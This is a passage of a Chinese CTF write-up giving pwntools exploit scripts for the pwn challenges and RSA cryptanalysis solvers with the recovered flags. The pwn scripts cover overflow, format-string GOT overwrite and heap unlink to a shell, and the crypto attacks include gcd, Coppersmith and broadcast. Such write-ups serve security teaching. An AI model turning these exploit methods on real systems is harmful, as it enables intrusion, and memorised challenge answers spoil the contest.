function here def pwn(): ru('?') payload = (504) * 'A' + p64(0x600DC0) sn(payload) io.interactive() return if __name__ == '__main__': pwn() Pwn200(200) 整数溢出+FSB 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * import os # switches DEBUG = 0 got_overwrite = 0x0804B164 # modify this if DEBUG: io = process('./pwn200_bd081fbfb950838cd093174ce5e1cf78') else: io = remote('58.213.63.30',50021) if DEBUG: context(log_level='DEBUG') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) # define interactive functions here # define exploit function here def pwn(): if DEBUG: gdb.attach(io) ru(':') sl('2') ru('Exit\n') sl('2') for i in xrange(3): ru('Protego\n') sn('2') sl(r'%' + str(got_overwrite) + 'c' + r'%' + '12$n') sl(r'%' + str(0x0804A08E) + 'c' + r'%' + '24$n') io.interactive() return if __name__ == '__main__': pwn() Pwn300(300) 堆溢出,伪造堆块触发 unlink 改指针。 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * import os # switches DEBUG = 0 # modify this if DEBUG: io = process('./pwn300_96ced8ceb93c5ddae73f8ed9d17b90ba') else: io = remote('58.213.63.30',61112) if DEBUG: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) # define interactive functions here def buy(size): ru('Exit\n') sl('1') ru(':') sl(str(size)) return def show(index): ru('Exit\n') sl('2') ru(':') sl(str(index)) return rn(0x100) def edit(index,content): ru('Exit\n') sl('3') ru(':') sl(str(index)) ru(':') sn(content) return def delete(index): ru('Exit\n') sl('4') ru(':') sl(str(index)) return ptr = 0x08049D80 # define exploit function here def pwn(): if DEBUG: gdb.attach(io) buy(256) buy(256) buy(256) PAD_SIZE = 260 payload1 = PAD_SIZE * 'A' + p32(0x109+8) edit(0, payload1) fakechunk = p32(0) + p32(0x81) + p32(ptr-4) + p32(ptr) + 0x70*'A' + p32(0) + p32(0x80) edit(2, fakechunk) delete(1) payload2 = 4*'A' + p32(0x08049D18) edit(2, payload2) buf = show(0) free_addr = u32(buf[0:4]) libc_addr = free_addr - 0x00076c60 offset_system = 0x00040190 system_addr = libc_addr + offset_system edit(0, p32(system_addr)) edit(1, '/bin/sh\x00') delete(1) io.interactive() return if __name__ == '__main__': pwn() CODE Code100(100) 这题目真心的醉了。 首先 openssl rsa -in public.key -pubin -modulus -text 分解出 n,e ,之后 yafu 用 factor 秒分 出 q,p,使用 rsatools.py 生成私钥 然后自己写脚本解密 得到第一个密码。解压,同样的道理解密 n,e,yafu 分解,用 rastools 生成私钥,openssl rsautl -decrypt -in level2.passwd.enc -inkey private2.pem -out /tmp/passwd2 && cat /tmp/passwd2 解密得到密码 2,密码 3 同样 解压最后得到 flag: SCTF{500_sI,pLE_tRE1S7Re_iN_rSa_AtTa3K_2_24CASF} 附上一血 Code150(150) 写在前面的话:这个题目。。。我们使用的是主办方绝对不希望我们使用的方式。。。我 们当时也确实是没想到这个 gcd 的方式。。学习了,主办方应该是想考察我们数学功底,以 CRT 的原理中关于什么时候可以求解方程组为思路。但是我们纯粹变成了编程跑数据 (⊙﹏⊙ )b 首先尝试分解 10 个 n,发现一个都不能分解,自己写了一个基于 factor 的分解质数的 Python 脚本,在亚马逊云弄了一个 64 核服务器上跑到第二天上午,终于跑出来一组: 208233691145562607629135888444718697257629858122159879938677836300514202410579 123850554827880163279784683180670782338440525997508131556443411233148827620575 240987329613828332152912665918246323928677161749679065443561440720511326593391 401558895698108850138514670560480036721650596404083949535730724315235568480779 580059715336189122197939145240779190585915864517161136377702450676875989310718 273447409369827761129861040511919226136160451028590442347896360585683966110309 666395619220367120019112385523916256587416596448880692447297292979272793843182 52191421446283531524990762609975988147922688946591302181753813360518031 = 122281872221091773923842091258531471948886120336284482555605167683829690073110 898673260712865021244633908982705290201598907538975692920305239961645109897081 011524485706755794882283892011824006117276162119331970728229108731696164377808 170099285659797066904706924125871571157672409051718751812724929680249712137 * 170289910812835465096338542997477487359435798641693381125276912070602548711328 219190092923698137571174584001618243726404688552257457773360565493810569068383 273664286929905167374986060851892496173584735684037889535771979124074591360189 776288360130316240776662582509201693427241370225544170475960286150066498263 于是可以写脚本解密了: import gmpy p=1222818722210917739238420912585314719488861203362844825556051676838296900731 108986732607128650212446339089827052902015989075389756929203052399616451098970 810115244857067557948822838920118240061172761621193319707282291087316961643778 08170099285659797066904706924125871571157672409051718751812724929680249712137 q=1702899108128354650963385429974774873594357986416933811252769120706025487113 282191900929236981375711745840016182437264046885522574577733605654938105690683 832736642869299051673749860608518924961735847356840378895357719791240745913601 89776288360130316240776662582509201693427241370225544170475960286150066498263 e=65537 n=2082336911455626076291358884447186972576298581221598799386778363005142024105 791238505548278801632797846831806707823384405259975081315564434112331488276205 752409873296138283321529126659182463239286771617496790654435614407205113265933 914015588956981088501385146705604800367216505964040839495357307243152355684807 795800597153361891221979391452407791905859158645171611363777024506768759893107 182734474093698277611298610405119192261361604510285904423478963605856839661103 096663956192203671200191123855239162565874165964488806924472972929792727938431 8252191421446283531524990762609975988147922688946591302181753813360518031 print n==p*q phi = (p-1)*(q-1) d = gmpy.invert(e, phi) c=0x68d5702b70d18238f9d4a3ac355b2a8934328250efd4efda39a4d750d80818e6fe228ba3af47 1b27cc529a4b0bef70a2598b80dd251b15952e6a6849d366633ed7bb716ed63c6febd4cd0621b0c 4ebfe5235de03d4ee016448de1afbbe61144845b580eed8be8127a8d92b37f9ef670b3cdd5af613c 76f58ca1a9f6f03f1bc11addba30b61bb191efe0015e971b8f78375faa257a60b355050f6435d94b4 9eab07075f40cb20bb8723d02f5998d5538e8dafc80cc58643c91f6c0868a7a7bf3bf6a9b4b6e79e0 a80e89d430f0c049e1db4883c50db066a709b89d74038c34764aac286c36907b392bc299ab8288f 9d7e372868954a92cdbf634678f7294096c7 msg = pow(c, d, n) print msg print ('0' + hex(msg)[2:]).decode('hex') #sH1R3_PRlME_1N_rsA_iS_4ulnEra5le 得到数据之后写解压得到 flag :SCTF{5o0_mAtI4E_TrE1SUre_ILn_rSA_a55aCk_3} 写在后面的话:这个 n 分解出来之后我发现,所有的 n 值存在一个公约数,也就是说,这 个题目其实很简单的。只要想到这个,直接使用 Python 的 gcd 就可以分解出来一个 n,然 后就做出来了,但是当时我想多了。。。我以为是考察数据的并行运算。。。。 Code300(300) 有两轮加密 第一轮: 注意到这一组加密数据中有两个 n 是相同的,而且加密内容相关,并且大部分相同 可进行 Coppersmith’s Short Pad attack 和 Franklin-Reiter related messages attack 参考 http://mslc.ctf.su/wp/confidence-ctf-2015-rsa1-crypto-400/ 完整代码: from sage.all import * e=3 n1=253579011891727331496253323915370645782650032499178176828641206638983365109 221132583974413782393423497673172852212958324624133003767045079363590461209433 342150785409039621287197060770675579482183087001431384204080535006286162993382 047182132834818335133736961707744256198860494081032171792622640037656953905473 556248679513797899242475973704965462498989246482744191648998311919251271820663 012376732434235396042192743975397868594208663298852852321799830557637042010232 130871198953212600466177607023204730697436887784388548994092925276959930454825 49594428191729963645157765855337481923730481041849389812984896044723939553 C1=211661986371197990180162042952505361669158566389194052618409153149880428734 326205185776151324484487233276894786787551724625566828895710758910415162208349 414890062192507122336833723490634662371777098674169164769851700933875541522323 275275814661437802225602104466631082944248576498208512713083411784678860915781 16410156922264637037227745852409331989620504 C2=211661986371197990180162042952505361669158566389194052618409153149880428734 326205185776151324484487233276894786787921764226446623369660503639406353313612 057934181799450761164327088095909281450307952589232069116944395338556299785633 826175784066392440140038485315406130759724950305728001072004894704986472367100 18970753334604604728734347799544201644707336 PRxy.<x,y> = PolynomialRing(Zmod(n1)) PRx.<xn> = PolynomialRing(Zmod(n1)) PRZZ.<xz,yz> = PolynomialRing(Zmod(n1)) g1 = x**e - C1 g2 = (x + y)**e - C2 q1 = g1.change_ring(PRZZ) q2 = g2.change_ring(PRZZ) h = q2.resultant(q1) # need to switch to univariate polynomial ring # because .small_roots is implemented only for univariate h = h.univariate_polynomial() # x is hopefully eliminated h = h.change_ring(PRx).subs(y=xn) h = h.monic() roots = h.small_roots(X=2**40, beta=0.3) assert roots, "Failed1" diff = roots[0] if diff > 2**32: diff = -diff C1, C2 = C2, C1 print "Difference:", diff #x = PRx.gen() # otherwise write xn #x=1002 x=xn g1 = x**e - C1 g2 = (x + diff)**e - C2 # gcd while g2: g1, g2 = g2, g1 % g2 g = g1.monic() assert g.degree() == 1, "Failed 2" # g = xn - msg msg = -g[0] # convert to str h = hex(int(msg))[2:].rstrip("L") h = "0" * (len(h) % 2) + h print `h.decode("hex")` 得到 F4An8LIn_rElT3r_rELa53d_Me33Age_aTtaCk_e_I2_s7aP6 减去 userid 为 F4An8LIn_rElT3r_rELa53d_Me33Age_aTtaCk_e_I2_s7aLL 进入第二轮: 明显的小指数广播攻击,参考 http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet/ 完整代码: from struct import pack,unpack import zlib import gmpy def my_parse_number(number): string = "%x" % number #if len(string) != 64: # return "" erg = [] while string != '': erg = erg + [chr(int(string[:2], 16))] string = string[2:] return ''.join(erg) def extended_gcd(a, b): x,y = 0, 1 lastx, lasty = 1, 0 while b: a, (q, b) = b, divmod(a,b) x, lastx = lastx-q*x, x y, lasty = lasty-q*y, y return (lastx, lasty, a) def chinese_remainder_theorem(items): N = 1 for a, n in items: N *= n result = 0 for a, n in items: m = N/n r, s, d = extended_gcd(n, m) if d != 1: N=N/n continue #raise "Input not pairwise co-prime" result += a*s*m return result % N, N sessions=[ [21778816622407043254249033744556437773178718344170907687035355752306254181495 272254316323076827432323583279284697609943296234700945010885010381052459024155 936090811012664924674758219163065019349740707282354505096608107707774970709715 259835448587834080152409078047162951805940071358655938727249679105305351838950 073539149057650448964397736279148746703675407495243942505041731104580156762842 345374978325029947055323567120523592936170640156611551704828034384851988154353 272897487218723570180022092379408219114849763765186588476489924721044926152006 318666687949095907516827647042434514271847608156543261745856327152256691, 0x36a66571751faf3bbf6ad760adbcd1be123d2ab526d2fbf6697ec38c7d4ee7d709d8ab3f1540924 10f46ae18ac75aa32ec9393a98385cd8d8df3b5a15eeccb2637b353f6808fd39e11faf2b742eb0597 f8e7a977196171b031c076140cb05c771d8df2f81d8b904e8bf579da0e568fa67d0a94a7607a002c 456824e7ea71df895f1967b12ac36eade287589fd556c71520d2dfdb1a8663dcae615cc40be1ff82a e42ae617db75bb1dd88235fd698b53921a42fa6390854eb1393d24341582ce83bd690ea12d2697 bc929a77b51adb04131baee52050340be9a2be6eaf795b6877bcc22d5d8cce3829485340b641585 ba3ad169850e780562467fbfb09f4f5235], [16903196746534976770297193591563118819340996326353278926932894774572875445074 235633598238073286562040907331827987129504332575088363961056320711957070361568 300931751447818086187098450831958791194454471761207974960285694400991565796076 896861484262801877894234189007108688232929103575715501208714450050820596757093 532908538335247758665436735062990069823263343612343383280128868367115993204155 509197451034689222789081909649433189803691801997724286399861059723879464142218 791577045451380036235131262854852861711356480129365121825413631051962999057782 796860262353799309363207995917585708071851074274505668412220771866627801, 0x51bd5b18e527dc109cd202f39841bb39422dcc1f566f59da4c623d7166730dded90963c825ba63 00c0dab181f69f12ba40955e68e6040f794ee642aa26acf437ce382a0ebdae8d3c77398a01f55eb25 93d243e991427197f6166b117e8bdfa3164d99e5713f18d64947c36afba69d0c9208e79815af20cb 4dd201bfcacd485e8cc98cbeee1b75d6d2b1ad81276647b6f7b2137cd9ff9e2594b9ec8952fc2d184 ba69e8a17fa5dc865b6e96552d81750e85ef427ad184b2efc5534fb6f70f8d096b3029dd71349b57 1fa1997fd14002625cbea894811c7bf8f582dba0ec9d03edbf25517179bb7f20288cc2e2ab0b03818 5ac525e891c15c151d47a14886f947], [28265280613183354342105753166996328090546389493099576671064332905506043149645 894359529530572985221453256974871551423452437262179254048995385871426911106523 040024082014701860288597240859367709958593683404815121262284405370456892785825 244621855179713916387058136808290106777122592782679759913015048141455589449020 109912456204732596642195119782747444413318147656712489309539304507463058220125 712352312270109971524224764775787216566974066782153169186108327462634247269028 163635556628016922590640886497451631819173964909716933392801888324681183442906 718285722236884230908714776131247765432042336528688391266197013577846933, 0x8df94ca10d136659aab94677d5826184addcef8cc563009822519b157c368d17434b9b6fa08ad7 83003d0aafc6370938e6c795d93968cf094260ef05f1f65b03be9aef4d0e8b4e5ef8bf9182e382b08 a38c04bb448097eb1ee93bd9ddd6abe39f2f356ffae8470f7d63edea2c87b7b7766c57e24086f598 25f5f50d5ed7443adfb26dd3bbdf662cbf082a9415b73a8c81581272a4b8f75f656ec03370e53fc88 382e842a75f329c510aa09c647afde2fcee7a5924806a4f7b57cb0ed769c4db41f35e48c5812fd753 15697e936fdeacd366c851e06b30050cd93205c4fb233233990fc2b5a0c9cd2aee58209fc04c6e782 f2639d51fb43d7952b2f8afc1a4403], [24987127899477465012251233743493253536476854495637178599192050225313102219411 387898487200182441114487612034816488014846231399460666971909474486058085384163 710434277132512228943824562960928753528438748273225337688628804876346934893738 809200953670621279519453757412491449591854561780627642156687194962761756188282 130022320565958645871385780190162615031780472674474233554299969022151520347624 742464620679084328782555875295855846135397397113343536139827427341184253483944 102522989539698394227074217940278304502858391155867844668912171244350562320306 827896547118036618397962042775133094735525961981341552292221448084885029, 0xbe73713e7928b1970d6dd531e0c9a6a3884bef82c3a39a043f226e88cfe54a3dc28c515893463e 1039a14e49c8d27154544f9f3f8ff4d750b56ad41ef3c5b1710e889a4d8845722c6588f51f2bf601a0 b816489b6afa23e909d4201b570788e0cae3ab521ae2ae507a02a5af46036c496459bc86f34a141f ad1802d578c645164b5c0fb91978b07efdb8b9036028d4ea21b4719eae9caf6247daa9c9639f7b79 521c7feaf1e9b22852f32f91f93631e03eb7c091d3ae27858faea04481a1404c543b13c9ffef06326d 7d6f67db7f05f91611a3d185fb6fc1e1fb07b01c83e46c84495a252ba4eb0aa3a148ca4b6dc61492e b71e3b5bf7473595ed69841ce0b94], [20690588543759338459201261102131523557602951858621022352768878495764772818047 444561085946463647026323512505467898486038702296544581574454427913943957312980 485120682984328258470676756700031559606051601837978676090075103759061046354026 481363302764050167452089628379324207470363334371464572866980379277784494909108 912432265324937412023179282154446352432584206636315270087668925211674657165676 558801771127073793675007651877248218291179047124458484980007843300303269623821 337776079296736563393494962515203685309350731743104371337237221338067550042391 180955737666453436685882807146647050068939961249283782794859263934790927, 0x321516de98f8d6584adb01d5783d13cee2daf74f2285c693debe3a264c0b9a637b42c17a61a387 0c70acdfdcbb3ebe49fb57c40079d4f82fe4051b5374545562baa12d894baa66016c4d025ace559b d7b5d658d70e0e7db5a24a212a48a5e9ba44dc091c4846f60509fe00b780db6101b73cfc2492be2 e75bf9e82b727ab6b459df8280e83e59119795a82acd53e982fa3ad82ab80a4213728c41808d53cc 75e2a19801943ff1af19e85aaffb1b29a41c0af54ca44335d611713e5ec6ff38675de8704fa2ddaad9 0b50cf4553174a9ae7fd61e72c5cc8a77df159a21d67539e92ff702ddef11c91eb39c247355426f22f 87de33f8d65e5589553405f50a78c84], [16517102081052861630895919001217675526698277369300591711866049102573903641338 088651465353677681314133196137354591046807286864279671925133798556675780456365 747859903691818373002538419664235941077881320873723974912890141942864109366960 284815031822877720076646042209075936969869701929261677727681050077163026469462 157471618274966461347360748386423007148375581277546370022280825631242730771828 201301160075215196139318450096889249372085484891067811333463883782678293168327 177450855394281994969889305548254268708625415414795510941577246484314728636995 608221724256782771789486658328851046459586540232884627529177340560416993, 0x52cc422ae1012a854e0d29b9b1da6e68ef3a3fa6b8d7551c1c664875e277149411244279eddcf9 656fe182c4bfadb33d2d917e7faa580c517d7960e9934813185331e9c9fa3698fa9de3f8aad578624 9fc0505db05f01c43dc0dac422c51114aabc5d0451a921e36e47d9c4654574076dc04d2778ff9bcaa 7ed3be2432bb515c4721013d98a569b794cf027ab9e356dde48fd06287f78982fac010e5abee0aa7 1388f270f70c53f0f1ac091fdbbe380c1e67e1079a2a6ea7ae6f2173fd1c39994e4436ad058996b0e ed5cbc2ef10e4e6c814fad9b62056d7701976ce88fff49e864ca23b6ff762168436f7aaf0ce379515fd 0d4d97367c0cf8ce7242fe6809cb], [23846860290279092907572444079539617462214354239782236629759070773513973525414 800313619141664302186747496495971163746242055682769265827639472645512416038516 482082192479180022255538780293810541273933187169499865844979861261417193700451 844441299094590593715164464011149534562230605044072398232865628048059788633187 389023568417475139388654021193716658660041159730755563837795152394878078579534 655463322616283839623641180779934135529522581271802799149690558550140547741565 135720412155964520008772101738405928224251101453422360053273769367642925204442 743550811319417756071808630071840203875705299338612909277917097442575231, 0x7a4c0c06b31aa9be92dfcc10af0b4d99429bd0d2465d43c56e7488136db91347f7e40213e82b5b bcafee449614d9c26237dcf6ae1118f345d5f76a7b7fd665146103c4ba9cf63444363631b2e847a9e cd6126931299c30a31582d0fe918e71251d80bb7b3a3c27833379d12ca45fb339b169340335af84 131a8848c7ac56533964823ebc1cc78dc69f136e735a46b9af5123b31171ff27e71f7f11e25878451 619c199b04a93414effb74e90effd91a24735a77d3364020ae38883addac5c7f71e6a0e57d82d47c2 55c172f084a707ea565daa9d121693ae94391fa4c0fa0e3ad877b03014469bda192aebe3e4cf8fcc8 469636ed8a74659cb4db0e8e5eecd9a], [17566701282456258503708647404558041579376753416636895921624574676679101724033 623273314113990594123807428022978359642275344892917569831939503189948668240865 309669039814491983430907110218013111893576410298548024847128844676202137898746 346628853860982276196072572409817530124631239728733042716676159813363682748753 083182297029995941313117294252250686136554964244869449490234400819447482806975 167157303480233831491591302798414444021786972185652092240434726936513164112181 591526851025405006672553646267337903731497655811302924232073336996144108764372 355652364792853587376409404275388013071072585640297921892859159400948323, 0x3fc5f6519c720d08da16c2df2112ba76d718329a8a8cdcace3bc2b07d603cad7e492ce13ce537bd def922ee8fabf8261a27dbc0ca94752a2fe8016b99088a4cf794126da4673e7cea14428a7f3bb2a50 f489d0a507b3fb3c6541f4d25941558180e28db6938fd6e92856ba10e56d2100f0d12fe6dd64e8d7 5ff5ad91f446b0481412ab10d08df34cdb7213df180cfa342e38af893750c9df36987f630083985588 b7758cb3b83559485f208ac5b8c2df81379b69565adae0ce38ffbe568715cca87381d72508bc278e 374acfb0b9db4726630dfdb6771ac3de26c0ec48ce72cec92af4d610f312474d979d7a445cd0aa16 d9bfb8c8434449aacf9ea3acd23653], [16253121383768278209005558577055644569117707124854929186667128310606493315013 449858902615940095488323028876191616816961215480161502334848550714559842262203 333048521009972976254796089176241431933391814530903987798419098078087110325298 127023185881308297696190844006356371502958261262318737874080358501446648868436 314810687974775378172524379297271535579000788274835896943322448320754626535308 836129262616406664292901764961851722791991015882750059327988224491748375219523 130042075320130650865135318796823056748272833680628813950407501372466385030092 017640922132792751107909729923267741621440199097930132480628796900772029, 0x6db31ce529ff59c5e2a06cee7c7ff63b26b5297a359c87edd61d144285a99cb22a311a75dbe8d5 a1a7fdcc8eef52a4a1126ef2e09a38b1f5e17ee0c0c1d802e4ff2179ad66336613ca539d1ea76144e 832b8faf7f9f09d0b061a8c70e13173037ef1255941deae9942a8bee684c46df73fde2ba15bd92525 5f61ce3f4748060388b572e914f2e8a7068f026550fb06f283dee852a44ce9d80e572a9a9c84a26d9 f35308907ad995bd4bb29893e23b725611c39676cdd9bd953ec2b988d2344d95c96a5cf3f9daf944 9ee3e57abad421038d33a14ab9eaa91421cce008c2b7a49085e555fde59a07e4c0bb3da1a487bef 263608cf9001c2cb3a0f128f8ffdc4b5], [20290309021976181378150079070647362877361051642116884020698310582404348426365 349349830932277074553597811144356035164416874783743981763606447828375623172664 133086570212409720630779251662198484608733581283249766121177416927096509366175 689816558284636310339765253094030229680886254669960511903436585522016222678724 597374152265027493130428700298457508264585197242398693292101535859643883683283 228422929797265173483141156963526966092200813029155535719102888182314267564367 377779201639949508213735381237773042753101422482552209042450075752883511314469 026255991162957376905635040303277884398802599054812153590799774042488237, 0x47fc4dec774af58a10a86f32aca278b7333e2a203f32d1c3829f77ee1ca4bb26967d46f2501ebf00 f1b7d183245ae9230c27a1b44e77b943e6b666c1eb93d77c400accd3be53637cfcdf42617ec7e49a d7466e779ff1deeb26d055a40d4028845e07225acd900a158e3264301f3f474db2d185f18c7178eb 6bb22af198527bf714ca70e4b1b8786595e59db4a1e7666d4f11aab6d8b8cdf92d25fe1371853bc1 91223dfa1e3a1eb0ddc139b23bdaa34b7b628c420752911689bd2360355e0991e7824ec91fa5a16 a04bcdb20b21859c2101187c5901fd83c33842d66accae05e9f8d52390245d154c6f6fd70cc9df06a 7cb6beb8e97158dd008b289cc298b5be], [20259407522505114352438066790031189161692762499783918150615320203040060613651 670031363001854418241949806197697617226051714447759568062273100011096875597755 138510617995005919992091359670438072021331669362289193281360914280630669617706 120960853381676622726602146361520387706665131232782238093270978205858281738902 665202342179262150897459523695977783336806799817685658837013961068870176413359 582541169367864085705134004595535049333058874635763188301138178673153768451934 569823185195476045661392099691197429028316750422385531970917919762595412998928 711638811089289412827922269444823536467731873971772055257114762319315393, 0x3879320d2b72a7d476f911a621a2cde56cb4f11bf6f2092a1d0e37732e39587ea5c8cc8012b865 315823bb095513e0aaebf00a1d0bc64ffec621ba88574893741d16a051962eb48e6ce7a7bcd1c200 b93d43de4b913fa04a33aa6ecf1cbe8b6224f86acb6fc30e3c9809265e94e89f5d9e86149263ab1e0 94e47a3b5a11402daad15f1af9f4af6ac6fb5042e46c16b5cd0339c07311bfbc12f5c55d56575d340f e3409fc0cdc53c70ef188de0fa5361f964e3dda4cfa93e4c1dcc2899b54405ab1a86377cbd52c804c8 abe1801fb58e07cb4c12ccc7dae2d5fdcd99e7e0b41455a211b418d7d23eec52ab5964a9cf8e4dd6 44db1643b23162a84acd394315f26], [24318293739308347213079240931318897629475758007636953845697423973047760974896 821730716872997882728166077874860101084256173936300391518418843018259609362471 240020891953344922995571854332425076721361761155823416339736617753479873947815 911700571886068424319666101274062537135986686198448291523526831919231309046418 709526942081443652930546060758807699063472901121389294694164314428552216115807 784803759664471770162896322173399815832732844819985897349926942832673618305532 813094961669876922754219436080392413448963260311884490822861732752909321638280 022645654810271403290958260903318384943003470764808099607444730775850977, 0x3744c133e79ad8c24d42c184ef789b2e8f98a436413a1759a3d3877a7be779d20237ca9f8795da 75101b58f67a5cfe3862c09381b90541f9744b48d0c181d77238e30c5ff3c17b7d61cad61375028a9 f5df2ba8ba4b03149932aee7e44a225c0861e6544a1fdf6c9c76f6a3e82d585f82ea9f5db917742d0 57a6f1cd05173e125f98d10e938cb4a81d963adfd557a4341e361f0ad258cf0898a2f129e84ecb010 006f72c56e23d49af995a0c3627c37cd94b4f605834a31297e810ab5edeca323a7ab1a557376cc36 3918b8fab2391afc2d6fc835d68530aea668e3fa5fad2a820289b2c69fca87b9864b7055aaede0297 38665807a1234c3438b6df933b5011], [16767369591676471537411283105560692097106856689402131801972215792616408134559 976771743130058361434086714770802148737506939664570683450741935689264391158401 406372136118114570763009411773231927726730263665758441518136374811604790203589 734839203990618958929058849509041656812300142186514602133644716549714328026432 640542797308159792476463973843503510250484074033909180332466382455960693392142 248674005373879029496304626751064305166382888538959190215229722452450797037929 073904543004398559319989715734497042785049819377997233813308055108035958732985 392827704742206908811830255998822273272225412690773092101546168169226819, 0x80e66bec156f4f23de053a26b431b5c9403b866b9e3db1bff70294fa02b9e2b190784b2c00a80b 8ca68ada1a346901b23a18e64e2e72af65e692b682c63104e18705ed660c5bb8a7dc92210dd6b39 c9da4ff6dbead8275cda95137e35b827257077089a3b3943cb25475db403246547328d026bf1ae8 4c0945d4eac09a5b19f3d876fc8a7634db369366d9890794a8420b7f68993176d4ed5b8898b9162 220fba24400437af66f5272ae76903af9f20c6e73d64d6d90fb93423a8732883e3f1a73c49865026a 5179ced111c830a960444a1000c6e3aaf2d73093979507ac2f8bd44dd3977d27f9092934d43daa7f 2054cef40858fcdc4caf9d60b2a930dc9882], [21648683502998984705866045484544947641100049872713930000863461784192971714383 405382729380364813442059921949950269832215961206992010283135651557788608887439 348339240389301966222474702327024746998115526572416766189380119518840255063173 477318112489526882961355833769916730074219503525366167101177618366403515625636 383142156974729031570176443105921652237316791996836488270564442297923460061659 842496051191955963907318267799798504658035464886798097464290990706264173092815 972652707781598809590103021822291959985975312561624827085690133099378114061849 520500494476184201456743692991277561917289123442703987077003912051254473, 0x32519d4dcbe20762cd311f137403d55f2991779a869854303a92937f1c0ac2b3c8de9462335fbd fcfc80a2d49952036fcc3892599846b17f6becf6623db795c9f1ad6ed43f65de285bb12050f3f81eaa 31c7b34e3b748d87d4b4d9789844d1c739c7c5cc1493b23e32953e64bf2fbf2ca403827bc8e23b42 8f306c0e5072d89bb601e66706af21acb54da8bb5a535ce755028b1a59be3682bdd9b8cff60a36ab 486361faf68cde5acf1fe590d2fe8fcd130d0de485f172854a02e53b4d80bb223ee41d1bed624fe7ac 2579f329a48de2486de9d19a0232878ce2bfd7b203c4234ab7fd28bd5086c1aec9cfa27653b1742a d2bdcdb82df242ef6c3e5330e4955d], [20724767138767480789498994298180270826474867340264049260163785892907430402804 218092022338747569186731211486624552452459080681333244461257729270209985208605 897018675854065012585533850704650069878363901187359565209404784010532316397910 749437579359276642165787498762432075769088961395447855627224959523061844885375 539902930820684607575955490491526386161219430904177417445996609987094669288549 224732682905930495022194205987692082118583747810531893061045357968782689580940 621512543149340026440955519419499409282989934863220231218154774655263793622174 595342915351690552470553775562387235255548900912535073932090872225703057, 0x4e4196a7b0c663ed59ad6674fd59f2a26f9e48e10fcc360d78cb35b5dd641402b32a39e828925b 0155eb9f814e88bb5ff36cc0def7dd35d3aed96234507b007f0a0c14d477d2f09dee9f67c58787720 2d8815c424a14f54b5a19f48f1e939ad16b67fa481d9601734ae7e52bba9c5f54f703992d4a94b3bc 3f3c7e25a35dcb51ba8b7fc45dea644262be00037724a09c46d0bac70c43555e37332c35a199707c 0cdb8bc1da5a97085d073400e1797c36c726d894819154a6fb6f690c1aecc713b90aa5fe551fa5664 1d967d162332d10ecd267adf4cd5e90d2df6e0aa52ca1dc59f868719b76e309c59877b193018b8ce 9ab50248c4a0c5dad1a30f5614a5804], [17212295439640377055688217979984966188585299016873359234729084493184304625628 968472723004154564887269917061351983063776908774119426411714704687892967543301 227423731385323880537283235940428456928620552423667793662090989179432831677965 493935878867379869711402693579656408872825837818475666783698699885664597654744 848985400925132991151305007305023587591892065687701737374884121128600523652409 581330661535968924899805804262941682210140900815439466983734237563778235377066 739355624114219934834825916708748496082834506423403378555482105722324867025910 662705141921743047391704562848651183325027149054432694683572014622359313, 0x299118bc357f5e546d46209bb096684e336ee29225c2a214537d3a0e0368537e0dfd6780c2890 ef87766679e567e388205e34f9cb548afdae574ccae43367e406affc253912972d0f0af7911b0ea99 18d80aee4c17e9c21110805fe1bda963cd50c8d58c6a55597195c435b2d923dae945b88baa962bf 7ad05fceee1604c29ee27e85d43a5dd0725fbdd721129fda99ff175e9e6e727cfd5e33827f0d0287b 950d3866d7b70f31788127499096b5c1067daff65de5c5a0a8f4ab07c75650e222cefe605159f37f5 7217f5d38521bdee12a1513f75c68963597444ebf33af268e91c5317329fc51f29806c2ad8bdcf1eb 46d012258119f4dc23ef8e20c2f10e1a], [23472084745304537438905071529263024519722889277035896476683227577770819544818 596032060798859721968043031781686415577272011705809230515019335765899132906313 745385382557516479043323335745414952409295722882945395961430938606533533929117 934551622303375595866433725626122966500728243718957556236260244044649471741774 062107054178507503595912884900120045195140751307319039397273925472618110765991 503036390880137235899571639920592610193895790603572008709664626744807262201364 463031075469046249809975209872344454149481525610270451281388871236274366093215 907300750793051152749369584542316120901131748833946863340674324510840113, 0xac28242337642cabf950162a965ab69d9f2e2858e732cb0c97bfeecbc965670dacda76edb6e591 e07bab71eef52d1ee4e857c8f30682451d5c3b325b185f3a3b5e4d1eb539d94e134a5792c646f605 52a87970549c01514b9e2af63e2dadedfa9f732f3d71ed6301ce54a35e01e5d90bb0cc106b8c2833 eeacbbab60ab362a87e7e8435ebef01b7f6aa509c09ac44d7ff8da06b3a04103db2f8928ed04ab83 8291db8badd859c9b65774dded6269a56fd3eb10cc7d1cb6bd737bfcf65e533245657a2c6971031 8f83b4543713c3c418436342823afd996b10c8d77c2e2a118d4fb1ecbd1b1f16d675292669d8bccaf 86f6c1af02e5f7f9ee5c7aeb81c8a111fe], [16966451712809405570019731700441708658117157522172037602215253538847704156034 447243308997644993188593978969328060823028085625093394067251034019534730107585 935365736610970376571337190453031629257247350588200661044866750469751891255339 636079377813918834503866490352194434851419800977023620974886628642857558663003 924383379088864349155389799474130189328454296627295593123465297469526418130015 195915305128989852466829730138443688054686459477827471793857648148054429381404 542122378207762553439877527124241535549595614223333073179859071395110332611349 804722107130361840138060206231273618825678177660378229205324373334941671, 0x19d171bf0005dc1f4d11f80d598687610cc6c062a1d2ace2b2e835f528117df7ccc873553bc413b 603c1605335bf5d2cf656e804d39e6ede8c8b4a43014db17aa31aafa9998028a2e87b32d3ec35fd1 6836c133d80f88a8af86fc7d6fa01540ddfb78615a11f143293d4df73307041d8bd28f186bdc09968 5ed324abac7980680d86261259a666c64c4c5a0dabdaf01e3700dc4e70a74d3869572ce03a9c4de c97edfb04771907bda0683fe189c3d0e2002352a6c5f85bf7455e5717c7cc9ae13217a0ea04c93383 7a48e3b356151bdae1004b9828d68e03736cf8fad63d74e8778519b5c3f13ef5fc31ab85c11ab4fc8 396def7bc6f690675c30fbcbeb86f93], [16371772865482869886487545751875918720227349410350898523261337902433007760724 960134070658859447185756919127716802819962207343430388160650608047149901674641 208010454873466609600454044683586479844130564525332317252829669954436437422430 190710090213393780435449488077843816300027728531084047622538708365772411064244 